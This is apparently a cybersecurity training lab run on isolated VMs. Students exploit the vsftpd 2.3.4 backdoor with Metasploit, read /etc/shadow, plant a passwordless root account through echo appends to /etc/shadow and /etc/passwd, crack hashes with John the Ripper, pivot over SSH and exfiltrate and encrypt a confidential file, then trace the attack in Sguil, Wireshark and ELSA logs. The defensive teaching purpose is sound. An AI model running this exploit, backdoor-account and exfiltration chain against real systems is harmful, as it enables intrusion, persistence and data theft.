

Lab – Isolated Compromised Host Using 5-Tuple

Topology



Objectives

In this lab, you will review logs during an exploitation of a documented vulnerability to determine the compromised hosts and file.

Part 1: Prepare the Virtual Environment

Part 2: Reconnaissance

Part 3: Exploitation

Part 4: Infiltration

Part 5: Review the Logs

Background / Scenario

The 5-tuple is used by IT administrators to identify requirements for creating an operational and secure network environment. The components of the 5-tuple include a source IP address and port number, destination IP address and port number, and the protocol in use.

In this lab, you will exploit a vulnerable server using known exploits. You will also review the logs to determine the compromised hosts and file.

Required Resources

- Host computer with at least 8 GB of RAM and 35 GB of free disk space
- Latest version of Oracle VirtualBox
- Internet connection
- Four virtual machines:

Virtual Machine	RAM	Disk Space	Username	Password
CyberOps Workstation VM	1GB	7GB	analyst	cyberops
Kali	1GB	10GB	root	cyberops
Metasploitable	512KB	8GB	msfadmin	msfadmin
Security Onion	3 GB	10GB	analyst	cyberops

Part 1: Prepare the Virtual Environment

- a. Launch Oracle VirtualBox.
- b. In the CyberOps Workstation window, verify that the Network set to Internal Network. Select Machine > Settings > Network. Under Attached To, select Internal Network. In the dropdown menu next to Name, select inside, then click OK.

🥹 CyberOps Workstatio	n - Settings
General	Network
🛒 System	Adapter 1 Adapter 2 Adapter 3 Adapter 4
Display	Enable Network Adapter
😥 Storage	Attached to: Internal Network
Audio	Name: inside
Network	
Serial Ports	
🏈 USB	
Shared Folders	
📰 User Interface	
	OK Cancel

- c. Launch and log into CyberOps Workstation, Kali, Metasploitable, and Security Onion virtual machines.
- d. In the CyberOps Workstation VM, open a terminal and configure the network by executing the **configure_as_static.sh** script.

Because the script requires super-user privileges, provide the password for the user analyst.

```
[analyst@secOps~]$ sudo ./lab.support.files/scripts/configure_as_static.sh
[sudo] password for analyst:
Configuring the NIC as:
IP: 192.168.0.11/24
GW: 192.168.0.1
IP Configuration successful.
```

```
[analyst@secOps ~]$
```

e. In the Security Onion VM, right-click the Desktop > Open Terminal Here. Enter the sudo service nsm status command to verify that all the servers and sensors are ready. This process could take a few moments. If some services report FAIL, repeat the command as necessary until all the statuses are OK before moving on to the next part.

```
analyst@SecOnion:~/Desktop$ sudo service nsm status
Status: securityonion
  * sguil server [ OK ]
Status: HIDS
  * ossec_agent (sguil) [ OK ]
Status: Bro
                                   Status
                                             Pid
                                                   Started
Name
            Type
                   Host
          manager localhost
                                   running
                                           5577
                                                   26 Jun 10:04:27
manager
                  localhost
                                   running
                                             5772
                                                   26 Jun 10:04:29
proxy
           proxy
seconion-eth0-1 worker localhost
                                      running 6245 26 Jun 10:04:33
seconion-eth1-1 worker localhost
                                      running 6247 26 Jun 10:04:33
seconion-eth2-1 worker localhost
                                      running 6246 26 Jun 10:04:33
Status: seconion-eth0
 * netsniff-ng (full packet data) [ OK ]
  * pcap_agent (sguil) [ OK ]
  * snort_agent-1 (sguil) [ OK ]
  * snort-1 (alert data) [ OK ]
  * barnyard2-1 (spooler, unified2 format) [ OK ]
<output omitted>
```

Part 2: Reconnaissance

In this part, you will use **nmap** to determine if the Metasploitable VM has a vulnerability associated with **vsftpd** version 2.3.4.

a. In the Security Onion VM, enter **date** to display the date and time.

```
analyst@SecOnion:~/Desktop$ date
```

Record your date and time.

- b. In the Kali VM, right-click the Desktop and select **Open Terminal**.
- c. Using **nmap** options, you will use a script to test for an FTP vulnerability on the Metasploitable VM at 209.165.200.235. Enter the following command:

```
root@kali:~# nmap --script ftp-vsftpd-backdoor 209.165.200.235 --reason >
ftpd.txt
```

The results are redirected and saved to the text file **ftpd.txt**. This process will take a few moments.

d. When the prompt returns, open the text file containing the **nmap** results.

root@kali:~# cat ftpd.txt

The result lists the **vsftpd** vulnerability and other open ports that are detected by **nmap** on the Metasploitable VM. In this lab, you will exploit the vulnerability with port 21.

```
Starting Nmap 7.40 ( https://nmap.org ) at 2017-07-11 11:34 EDT
Nmap scan report for 209.165.200.235
Host is up, received echo-reply ttl 63 (0.0011s latency).
Not shown: 977 closed ports
Reason: 977 resets
PORT
        STATE SERVICE
                           REASON
21/tcp open ftp syn-ack ttl 63
ftp-vsftpd-backdoor:
VULNERABLE:
vsFTPd version 2.3.4 backdoor
tate: VULNERABLE (Exploitable)
IDs: OSVDB:73573 CVE:CVE-2011-2523
vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
|Disclosure date: 2011-07-03
Exploit results:
Shell command: id
Results: uid=0(root) gid=0(root)
References:
[http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
http://osvdb.org/73573
<output omitted>
```

Part 3: Exploitation

Now you have determined that you could gain root access to the Metasploitable VM, you will exploit the **vsftp** vulnerability to gain full control of the Metasploitable VM. You will compromise the **/etc/shadow** file so you may gain access to other hosts in the network.

Step 1: Set up the exploit.

In this step, you will use Metasploit Framework to launch the exploit against the Metasploitable VM using **vsftpd**. The Metasploit Framework is a tool for developing and launching attacks against a remote target host. It can be also used to test the vulnerability of a host.

a. In a terminal on the Kali VM, enter **msfconsole** at the prompt to start the Metasploit Framework. This will take a few moments.

```
root@kali:~# msfconsole
```

b. At the **msf** prompt, enter **search vsftpd** to search for the module that is associated with the VSFTPD v2.3.4 backdoor. You will use this module for exploitation. This search will take a few moments when building the database for the first time.

```
msf > search vsftpd
```

```
[!] Module database cache not built yet, using slow search
```

	Matching Modules			
	Name	Disclosure Da	te Rank	Description
	 exploit/unix/ftp/vsftpd_234_backdoor Backdoor Command Execution	2011-07-03	excellent	VSFTPD v2.3.4
C.	The exploit has been found. Enter the followir exploit.	ng command at the p	prompt to use	the vsftp backdoor
	<pre>msf > use exploit/unix/ftp/vsftpd</pre>	_234_backdoor		
d.	From the exploit prompt, set the target host to	the Metasploitable	VM.	
	<pre>msf exploit(vsftpd_234_backdoor) : rhost => 209.165.200.235</pre>	> set rhost 209	.165.200.23	35
e.	Verify the exploit setup. Enter show options	at the prompt.		
	<pre>msf exploit(vsftpd_234_backdoor) ;</pre>	> show options		
	Module options (exploit/unix/ftp/vsft Name Current Setting Required De	pd_234_backdoor): scription 		
	RHOST 209.165.200.235 yes	The target addres	s	
	RPORT 21 yes	The target port (TCP)	
	Exploit target: Id Name 0 Automatic			

Step 2: Execute the exploit.

Now you will use the vsftpd exploit to gain root access to the Metaspoitable VM.

a. At the prompt, enter the exploit command to execute the exploit.

```
msf exploit(vsftpd_234_backdoor) > exploit
[*] 209.165.200.235:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 209.165.200.235:21 - USER: 331 Please specify the password.
[+] 209.165.200.235:21 - Backdoor service has been spawned, handling...
[+] 209.165.200.235:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (209.165.201.17:33985 ->
209.165.200.235:6200) at 2017-07-11 11:53:35 -0400
<No system prompt displays>
```

b. This enters the Metasploit Framework terminal and you now have root access to the Metasploitable VM from the Kali host. Notice that there is no system prompt presented. To verify that you have root access to Metasploitable VM, enter whoami.

whoami

```
What is the current username?
```

c. Enter **hostname** to verify name of the host.

hostname

What is the hostname?

d. The IP address of the Metasploit VM is 209.165.200.235. Enter **ifconfig** to verify the IP address on the current host.

```
ifconfig
```

```
Link encap:Ethernet HWaddr 08:00:27:15:91:86
eth0
inet addr: 209.165.200.235 Bcast: 209.165.200.255 Mask: 255.255.224
         inet6 addr: fe80::a00:27ff:fe15:9186/64 Scope:Link
         UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
         RX packets:78058 errors:2 dropped:0 overruns:0 frame:0
         TX packets:195672 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:1000
         RX bytes:11803523 (11.2 MB) TX bytes:91415071 (87.1 MB)
         Interrupt:10 Base address:0xd020
lo
         Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
         inet6 addr: ::1/128 Scope:Host
         UP LOOPBACK RUNNING MTU:16436 Metric:1
         RX packets:1048 errors:0 dropped:0 overruns:0 frame:0
         TX packets:1048 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:0
         RX bytes:450261 (439.7 KB) TX bytes:450261 (439.7 KB)
```

e. To gain full control of the Metasploitable VM, begin by displaying the content of the **/etc/shadow** file. The **/etc/shadow** file stores the password information in an encrypted format for the system's accounts along with optional aging information.

Enter the cat /etc/shadow command to display the content.

cat /etc/shadow

```
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:999999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD910:14742:0:99999:7:::
sync:*:14684:0:99999:7:::
games:*:14684:0:99999:7:::
man:*:14684:0:99999:7:::
<some output omitted>
mysql:!:14685:0:99999:7:::
tomcat55:*:14691:0:99999:7:::
distccd:*:14698:0:99999:7:::
user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:14699:0:999999:7:::
service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:14715:0:99999:7:::
telnetd:*:14715:0:99999:7:::
proftpd:!:14727:0:99999:7:::
statd:*:15474:0:99999:7:::
analyst:$1$uvEqE7eT$x6gczc318aD6mhxOFZqXE.:17338:0:99999:7:::
```

f. Highlight the content of /etc/shadow and right-click the highlighted content and select Copy.

g. Open a new terminal in the Kali VM, and start the **nano** text editor. Enter **nano /root/shadow.txt** at the prompt.

root@kali:~# nano /root/shadow.txt

h. Right-click the blank space in **nano** and select **Paste**. After you have pasted the content, remove any blank lines at the bottom, if necessary. Enter **CtI-X** to save and exit **nano**. Press **y** when asked to save the file and accept the filename **shadow.txt**.

This saved **/root/shadow.txt** file will be used in a later step with John the Ripper to crack the passwords of some of the login names so you can access the system remotely via SSH.

i. In the same terminal, enter the cat command and grep to display only the details for the root user.

root@kali@~# cat /root/shadow.txt | grep root root:\$1\$/avpfBJ1\$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::

Notice that the colons (:) separate each line into 9 fields. Using the root user account as an example, **root** is the login name and **\$1\$/avpfBJ1\$x0z8w5UF9Iv./DR9E9Lid.** is the encrypted password. The next 6 fields define the configurations for the password, such as date of last change, minimum and maximum password age, and password expiration date. The last field is reserved for future use.

To learn more about the /etc/shadow file, enter man shadow at a terminal prompt.

j. Return to the Metasploit Framework terminal on the Kali VM. You will add a new user **myroot** to Metasploitable VM. This user will have the same password configurations as **root**.

When creating the new user, you will use the same 9 fields as the root user; except you will delete the encrypted password associated with the **root** user and leave the password field empty. When the password field is empty, no password is needed to log in as the user **myroot**.

The echo command will append a new line to add the new user myroot to the /etc/shadow file.

Note: Make sure that there are two greater than signs (>) or you will overwrite the current **/etc/shadow** file.

echo "myroot::14747:0:99999:7:::" >> /etc/shadow

k. Verify that you added the new user **myroot** to /etc/shadow.

cat /etc/shadow

<output omitted> myroot::14747:0:99999:7:::

Why was it necessary to copy the content of /etc/shadow file to a new text file on Kali VM?

Hint: What would happen if you enter the **cat /etc/shadow > /root/shadow.txt** in the Metasploit Framework console?

I. To allow myroot to login with elevated privileges, you will add the user myroot with the same user ID number (UID), user's group ID number (GID), user description, user home directory, and login shell as the root to the /etc/passwd file. The colons (:) separate the fields, and the x in the second field represents the password for the user. The encrypted password can be found in the /etc/shadow file for the same user.

Return to the Metasploitable remote connection terminal window and enter the **cat** command to see the information for **root**.

cat /etc/passwd | grep root

root:x:0:0:root:/root:/bin/bash

m. Use the following echo command to append the settings for myroot to /etc/password.

Note: Make sure that there are two greater than signs (>) or you will overwrite the current /etc/passwd file.

```
echo "myroot:x:0:0:root:/root:/bin/bash" >> /etc/passwd
```

To learn more about the /etc/passwd file, enter man 5 passwd at a terminal prompt.

n. Verify that you added the new user myroot to /etc/passwd.

```
cat /etc/passwd
<output omitted>
myroot:x:0:0:root:/root:/bin/bash
```

With root access, the user myroot has complete control of Metasploitable VM.

o. Enter **exit** when done.

exit

[*] 209.165.200.235 - Command shell session 1 closed. Reason: Died from EOFError

msf exploit(vsftpd_234_backdoor) >

p. Press Enter and type **quit** to exit the Metasploit Framework console.

Part 4: Infiltration

Step 1: Crack the passwords using John the Ripper.

John the Ripper is a tool used to find weak passwords of users. In this step, you will use John the Ripper to crack weak passwords.

- a. From the Kali VM root prompt, verify that the shadow file is in the /root folder on Kali VM.
- b. At the root prompt on Kali VM, enter **john** command to crack the passwords. Use the **show** option to view cracked passwords reliably.

Note: The password cyberops was added to the /usr/share/john/password.lst file to speed up the password cracking process.

root@kali:~# john --show /root/shadow.txt
analyst:cyberops:17338:0:99999:7:::

1 password hash cracked, 7 left

After you have cracked the password for the user **analyst**, you can access Metasploitable via SSH using the login name **analyst**.

Step 2: Find the targeted host.

In this step, you will use different commands to find the IP address of a possible host on the internal network behind the DMZ.

a. Establish an SSH session to the Metasploitable VM. Enter **yes** to accept the RSA digital signature when connecting for the first time. Connection may take a few moments. Enter **cyberops** as the password when prompted.

root@kali:~# ssh analyst@209.165.200.235
analyst@209.165.200.235's password:

b. Verify that you have root access to Metasploitable. Enter the su -l myroot at the prompt. The option is the lower case letter L, not the number one. Notice that the prompt has changed from analyst@metasploitable to root@metasploitable.

analyst@metasploitable:~\$ su -1 myroot
root@metasploitable:~#

c. Display the /etc/shadow file.

root@metasploitable:~# cat /etc/shadow

- d. Enter exit at the prompt to return to the access privileges of the user analyst.
- e. Now display the /etc/shadow file as analyst.

analyst@metasploitable:~\$ cat /etc/shadow

Why did you receive an error message? Record the message and explain.

```
f. Enter ifconfig to list all the network interfaces on Metasploitable.
```

analyst@metasploitable:~\$ ifconfig

```
eth0 Link encap:Ethernet HWaddr 08:00:27:ab:84:07
inet addr:209.165.200.235 Bcast:209.165.200.255 Mask:255.255.255.224
inet6 addr: fe80::a00:27ff:feab:8407/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1610 errors:0 dropped:0 overruns:0 frame:0
TX packets:1550 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:117030 (114.2 KB) TX bytes:123570 (120.6 KB)
Interrupt:10 Base address:0xd020
```

<output omitted>

g. Enter **ip route** to determine the default gateway for this network.

analyst@metasploitable:~\$ **ip route** 209.165.200.224/27 dev eth0 proto kernel scope link src 209.165.200.235 default via 209.165.200.226 dev eth0 metric 100 What is the default gateway?

h. In the same terminal window, establish another SSH session to the Security Onion VM at 209.165.200.226 (eth1 interface) as the user **analyst**. Enter **yes** to accept the RSA digital signature when connecting for the first time. It could take a few moments to connect. Use the password **cyberops** when prompted.

analyst@metasploitable:~\$ ssh analyst@209.165.200.226

i. Enter ifconfig to view the list of network interfaces.

analyst@SecOnion:~\$ ifconfig

eth0 Link encap:Ethernet HWaddr 08:00:27:c3:cd:8c inet addr:192.168.0.1 Bcast:192.168.0.255 Mask:255.255.255.0

```
inet6 addr: fe80::a00:27ff:fec3:cd8c/64 Scope:Link
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:8 errors:0 dropped:0 overruns:0 frame:0
TX packets:64 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:656 (656.0 B) TX bytes:9377 (9.3 KB)
<output omitted>
```

j. You have determined the subnet for the LAN, 192.168.0.0/24. Now you will use a **for** loop to determine the active hosts on the LAN. To save time, you will only ping the first 15 hosts.

```
analyst@SecOnion:~$ for ((i=1;i<15;i+=1)); do ping -c 2 192.168.0.$i; done
PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data.
64 bytes from 192.168.0.1: icmp_seq=1 ttl=64 time=0.067 ms
64 bytes from 192.168.0.1: icmp_seq=2 ttl=64 time=0.027 ms
--- 192.168.0.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.028/0.031/0.034/0.003 ms
<output omitted>
PING 192.168.0.11 (192.168.0.11) 56(84) bytes of data.
64 bytes from 192.168.0.11: icmp_seq=1 ttl=64 time=0.606 ms
64 bytes from 192.168.0.11: icmp_seq=2 ttl=64 time=0.262 ms
--- 192.168.0.11 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
```

```
rtt min/avg/max/mdev = 0.262/0.434/0.606/0.172 ms
```

<output omitted>

k. Only 192.168.0.1 (Security Onion eth0) and 192.168.0.11 (CyberOps Workstation VM) are responding to the ping requests. Establish an SSH session into the CyberOps Workstation VM. Enter **yes** to accept the RSA digital signature when connecting for the first time. Enter **cyberops** as the password.

analyst@SecOnion:~\$ ssh 192.168.0.11

Step 3: Exfiltrate a confidential file.

You now have access to the CyberOps Workstation VM through a series of SSH sessions (Kali VM > Security Onion VM > CyberOps Worstation VM) using the password that was cracked in a previous step. Now you will access a confidential file and exfiltrate the content.

a. Verify that you are in the analyst's home directory. Change directory to lab.support.files.

[analyst@secOps ~]\$ cd lab.support.files

- b. List the files that are in the directory. Verify that **confidential.txt** file is in the folder.
- c. Establish an FTP session to the Metasploitable VM. Use the default user **analyst** and enter **cyberops** as the password.

```
[analyst@secOps lab.support.files]$ ftp 209.165.200.235
Connected to 209.165.200.235.
220 (vsFTPd 2.3.4)
Name (209.165.200.235:analyst): analyst
331 Please specify the password.
Password:
```

```
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

d. Upload the **confidential.txt** file to the Metasplolitable VM. Now you have access to the file and you can move it to the Kali VM for your use if desired.

```
ftp> put confidential.txt
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
103 bytes sent in 0.000104 seconds (41.6 kbytes/s)
```

e. Enter quit when you have finished transferring the file.

Step 4: Encrypt the data and remove the original.

a. Threat actors often will encrypt the confidential data and store it locally, possible for ransoming later. Zip the **confidential.txt** file and encrypt it. Enter **cyberops** as the password.

```
analyst@secOps lab.support.files]$ zip -e confidential.zip confidential.txt
Enter password:
Verify password:
adding: confidential.txt (deflated 4%)
```

b. Remove the confidential.txt file from CyberOps Workstation VM.

[analyst@secOps lab.support.files]\$ rm confidential.txt

- c. Enter **exit** three times until you are back at the root@kali:~# prompt.
- d. Now the attacker can copy the file from the FTP on the Metasploitable VM to the Kali VM. This could take a few moments. Enter the password **cyberops** when prompted.

```
root@kali:~# scp analyst@209.165.200.235:/home/analyst/confidential.txt ~
analyst@209.165.200.235's password:
confidential.txt 100% 102 102.1KB/s 00:00
```

Note: You can copy the file directly from CyberOps Workstation VM to the Kali VM if there is a user account other than root configured on Kali VM. Because FTP transmits the content in plaintext, you will be able to view the content in packets using Wireshark.

e. If desired, you can log back into Metasploitable and remove the file confidential.txt from the FTP server.

root@kali:~# ssh analyst@209.165.200.235
analyst@209.165.200.235's password:
analyst@metasploitable:~\$ rm confidential.txt

f. At this time, you can shut down Metasploitable, CyberOps Workstation, and Kali virtual machines.

Part 5: Review the Logs

After the attack, the user analyst no longer has access to the file named **confidential.txt**. Now you will review the logs to determine how the file was compromised.

Note: If this was a production network, it would be desirable for the users **analyst** and **root** to change the password and comply with the current security policy.

Step 1: Review alerts in Squil.

- a. Access the Security Onion VM. Log in with the user **analyst** and password **cyberops**, if necessary.
- b. Open Sguil and log in. Click Select All and then Start SGUIL.
- c. Review the Events listed in the Event Message column. Two of the messages are GPL ATTACK_RESPONSE id check returned root. This message indicates that root access may have been gained during an attack. The host at 209.165.200.235 returned root access to 209.165.201.17. Select the Show Packet Data and Show Rule checkbox to view each alert in more detail.

2	209.165.200.235	6200	209.165.201.17
2	209.165.200.235	6200	209.165.201.17
	Show Packet	Data 🔽	Show Rule
	alert ip any any -	> any any	(msg:"GPL ATTACK_R

d. Select the returned root message that is associated with Senor seconion-eth1-1 for further analysis. In the figure below, Alert ID 5.2568 and its correlated event are used. However, your Alert ID will be most likely be a different number.

RealT	ime Ever	nts Escalated Event	s							
ST	CNT	Sensor	Alert ID	Date/Time	SrcIP	SPort	Dst IP	DPort	Pr	Event Message
HT.	1	seconion-eth2-1	7,1961	2017-07-05 18:39:08	209.165.201.17	43276	209.165.200.235	8180	0	GPL WEB_SERVER Oracle Java Process Manag
RT	1	seconion-eth1-1	5.2558	2017-07-05 18:53:42	209.165.200.235	80	209.165.201.17	41258	6	ET ATTACK_RESPONSE Output of id comman
RT	1	seconion-eth2-1	7.2624	2017-07-05 18:53:42	209.165.200.235	80	209.165.201.17	41258	6	ET ATTACK_RESPONSE Output of id comman
17	2	seconion-eth1-1	5.2567	2017-07-11 15:43:02	209.165.201.17	43234	209.165.200.235	21	6	ET EXPLOIT VSFTPD Backdoor User Login Smi
RT	2	seconion-eth1-1	5.2568	2017-07-11 15:43:03	209.165.200.235	6200	209.165.201.17	58260	6	GPL ATTACK_RESPONSE id check returned root
11	2	seconion-eth2-1	7.2633	2017-07-11 15:43:02	209.165.201.17	43234	209.165.200.235	21	6	ET EXPLOIT VSFTPD Backdoor User Login Smi
RT	2	seconion-eth2-1	7.2634	2017-07-11 15:43:03	209.165.200.235	6200	209.165.201.17	58260	6	GPL ATTACK_RESPONSE id check returned root
RT	1	seconion-ossec	1.535	2017-07-11 16:08:45	209.165.201.17		0.0.0.0			[OSSEC] Reverse lookup error (bad ISP or att

e. Right-click the number under the CNT heading to select View Correlated Events.

RT	2 seconion-eth1-1	5.2567	2017-07-11 15:43:02	209.165.201.17
RT	2 seconion-eth1-1	5.2568	2017-07-11 15:43:03	209.165.200.235
RT	View Correlated Events	7.2633	2017-07-11 15:43:02	209.165.201.17
RT	2 seconion-eth2-1	7.2634	2017-07-11 15:43:03	209.165.200.235
RT	1 seconion-ossec	1.535	2017-07-11 16:08:45	209.165.201.17

f. In the new tab, right-click the Alert ID for one of the GPL ATTACK_RESPONSE id check returned root alerts and select Transcript. The Alert ID 5.2570 is used in this example.

RealT	ealTime Events Escalated Events 5.2568							
Close	Ex	port						
ST	CNT	Sensor	Alert ID	Date/Time	Src IP	SPort	Dst IP	
RT	1	seconion	5.2568	2017-07-11 15:43:03	209.165.200.235	6200	209.165.201.17	
RT	1	seconion	5.2570	2017-07-11 15:54:48	209.165.200.235	6200	209.165.201.17	
			Event History					
			Transcript					
			Transcript (for Wireshark	rce new)				

g. Review the transcripts for all the alerts. The latest alert in the tab is likely to display the transactions between the Kali (threat actor) and Metasploitable (target) during the attack.

	seconion-eth1-1_2570	+ _ = × =	seconion-eth1-1_2570	↑ _ □ X
File		Eile	ile	
Sensor Name: seconion Timestamp: 2017-07-11 Connection ID: seconio Src IP: 209.1 Dst IP: 209.1 Src Port: 3208 Dst Port: 6200 OS Fingerprint: 209.165. OS Fingerprint: -> 209.1	-eth1-1 15:54:48 in-eth1-1_2570 65:201.17 (209-165-201-17.got.net) 165:200.235 (209-165-200-235.got.net) 5 201.17:33985 - UNKNOWN [520:63:1:60:M1460,5,T,N,W7 165:200.235:6200 (link: ethernet/modem)	∑ DST DST DST DST DST DST DST DST DST DST	ST: dhtp:x:101:102::/nonexistent:/bin/false ST: syslog:x:102:103::/home/syslog:/bin/false ST: klog:x:103:104::/home/klog:/bin/false ST: shd:x:104:65554::/var/run/sshd:/usr/sbin/nologin ST: msfadmin:x:1000:1000:msfadmin,/home/msfadmin:/bin/bash ST: bindix:105:113::/var/cache/bind/zbin/false ST: postfix:x:106:115::/var/spo0/postfix:/bin/false ST: fp:x:107:65534::/home/ftp:/bin/false ST: proxents:108:1172:PostgreSQL administrator;/var/fib/postgresql:/bin/ba	r, sh
SRC: id SRC: DST: uid=0(root) gid=0(r DST: SRC: nohup >/dev/null : SRC: SRC: echo vj01PF4yoV9l SRC: DST: vj01PF4yoV9lGY82 DST: SRC: whoami SRC: DST: root	001) 2>&1 GY82	DSI DSI DSI DSI DSI DSI DSI DSI SSR SR SR SR	ST: mystox:10:3116:334:://ani/binystopia/bin/false ST: docatSS:110:65534:://bin/false ST: docatSS:110:65534:://bin/false ST: user:x:1001:just a user,111,:/home/user:/bin/bash ST: service:x:1002:1002:/home/service:/bin/bash ST: tentedd:x:112:120:/nonexistentr/bin/false ST: proftpd:x:113:65534::/var/nun/proftpd:/bin/false ST: statd:x:114:65534::/var/nun/proftpd:/bin/false ST: statd:x:114:65534::/var/nun/proftpd:/bin/false ST: analyst:x:1003:1003:Security Analyst:/home/analyst:/bin/bash ST: myroot:x:00:root:/root:/bin/bash ST: RC: exit RC:	

What had happened during the attack?

Step 2: Pivot to Wireshark.

a. Select the alert that provided you with the transcript from the previous step. Right-click the Alert ID and select **Wireshark**. The Wireshark's main window displays 3 views of a packet.

N	209.165	.201.17_33985_209.10	65.200.235_6200-6.ray	aw [Wireshark 1.12.1 (Git Rev Unknown from unknown)] 👘 🕂 🗆 🗙
<u>F</u> ile	<u>E</u> dit <u>V</u> iew	Go Capture Anal	yze <u>Statistics</u> Telep	ephony <u>T</u> ools Internals <u>H</u> elp
0	0 🧹 🛚	1 🗖 🛯 🗖	X G Q 🔄	-> -> -> -> -> -> -> -> -> -> -> -> -> -
Filter	:			← Expression Clear Apply Save
No.	Time	Source	Destination	Protoco' Lengtl Info
1	0.000000	209.165.201.17	209.165.200.235	TCP 74 33985→6200 [SYN] Seq=0 Win=29200 Len=0 MSS=1
2	0.000457	209.165.200.235	209.165.201.17	TCP 74 6200→33985 [SYN, ACK] Seq=0 Ack=1 Win=5792 L
3	0.001477	209.165.201.17	209.165.200.235	TCP 66 33985-6200 [ACK] Seq=1 Ack=1 Win=29312 Len=0
4	0.001976	209.165.201.17	209.165.200.235	TCP 69 33985-6200 [PSH, ACK] Seq=1 Ack=1 Win=29312
<pre>> Fram > Eth > Int > Int</pre>	me 1: 74 b ernet II, ernet Prot nsmission	ytes on wire (592 Src: 08:00:27:2b:2 ocol Version 4, Sr Control Protocol,	bits), 74 bytes ca 22:6e (08:00:27:2b: cc: 209.165.201.17 Src Port: 33985 (3	aptured (592 bits) :22:6e), Dst: 08:00:27:58:a6:63 (08:00:27:58:a6:63) 2 (209.165.201.17), Dst: 209.165.200.235 (209.165.200.235) 33985), Dst Port: 6200 (6200), Seq: 0, Len: 0
				1444F
0000	08 00 27	58 a6 63 08 00 27	2b 22 6e 08 00 45	5 00'X.c '+"nE.
0010	00 3C 04	88 49 99 31 96 91	l ec di a5 c9 11 di	0.02
0020	C8 eD 84	CI 18 38 67 27 TC		0 06 - 1
0030	72 10 81	40 00 00 02 04 03	04 04 02 08 08 00	0 00 T
0 💅	File: "/tmp	/209.165.201.17_3398	Profile: De	Default

b. To view all packets assembled in a TCP conversation, right-click any packet and select **Follow TCP Stream**.

	Follow TCP Stream (tcp.stream eq 0)	
Stream Co	ontent	
id uid=0(ro nohup > echo vj0 vj01PF4y whoami root hostname metasplo ifconfig eth0	oot) gid=0(root) -/dev/null 2>&1 JIPF4yoV9GGY82 roV9IGY82 bitable Link encap:Ethernet HWaddr 08:00:27:58:a6:63	
	<pre>inet addr:209.165.200.235 Bcast:209.165.200.255 Mask:255.255.224 inet6 addr: fe80::a00:27ff:fe58:a663/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:2117 errors:0 dropped:0 overruns:0 frame:0 TX packets:2168 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:127530 (124.5 KB) TX bytes:125613 (122.6 KB) Interrupt:10 Base address:0xd020</pre>	
Entire co	<pre>inet addr:200.165.200.235 Bcast:200.165.200.255 Mask:255.255.255.224 inet6 addr: fe80::a00:27ff:fe58:a663/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:I500 Metric:1 RX packets:2117 errors:0 dropped:0 overruns:0 frame:0 TX packets:2168 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:127530 (124.5 KB) TX bytes:125613 (122.6 KB) Interrupt:10 Base address:0xd020 mversation (1739 bytes)</pre>	~
Entire co	inet addr:200.165.200.235 Bcast:200.165.200.255 Mask:255.255.224 inet6 addr: fe80::a00:27ff:fe58:a663/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:2117 errors:0 dropped:0 overruns:0 frame:0 TX packets:2126 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:127530 (124.5 KB) TX bytes:125613 (122.6 KB) Interrupt:10 Base address:0xd020 nversation (1739 bytes) d Save As Print ASCII EBCDIC Hex Dump C Arrays @	Raw

What did you observe? What do the text colors red and blue indicate?

c. Exit the TCP stream window. Close **Wireshark** when you are done reviewing the information provided by Wireshark.

Step 3: Use ELSA to pivot to the Bro Logs.

a. Return to Sguil. Right-click either the source or destination IP for the same GPL ATTACK_RESPONSE id check returned root alert and select ELSA IP Lookup > DstIP. Enter username analyst and password cyberops when prompted by ELSA.

Note: If you received the message "Your connection is not private", click ADVANCED > Proceed to localhost (unsafe) to continue.

te/Time	Src IP	SPort	Dst IP	DPort	Pr	Event Message
7-11 15:43:03	209.165.200.235	6200	209.165.201.17	58260	6	GPL ATTACK_RESPONSE id check return
7-11 15:54:48	209.165.200.235	6200	209.165.201.17	33985	6	GPL ATTACK_RESPONSE id check retur
			Quick Query Advanced Query Dshield IP Lookup Copy IP Address ELSA IP Lookup Sro	iP		
			Ds	tIP		
	Show F	acket Dat	a 🔽 Show Rule			

b. Click bro_notice.

uery =209.	165.201.17" group	by:program	Submit Query Help
om 2017-	07-09 18:58:13	UTC Add	Term • program • Index • 🗍 Reuse current tab 🗍 Grid display
209.165.2	01.17" groupby pr	ogram (10) [Grouped by program] 🙁	
Result Op	tions 🕶		
Count -	Value	program	"200 165 201 17" grouphy program (10) [Grouped
4052	bro_conn	- program	209.165.201.17 groupby.program (10) [Grouped
24	snort	5000 -	
22	ossec_archive	4000	
11	bro_ssh		
6	bro_dns	3000 -	
4	bro_weird		
2	sshd	2000	
2	ossec		
2	bro_software	1000	
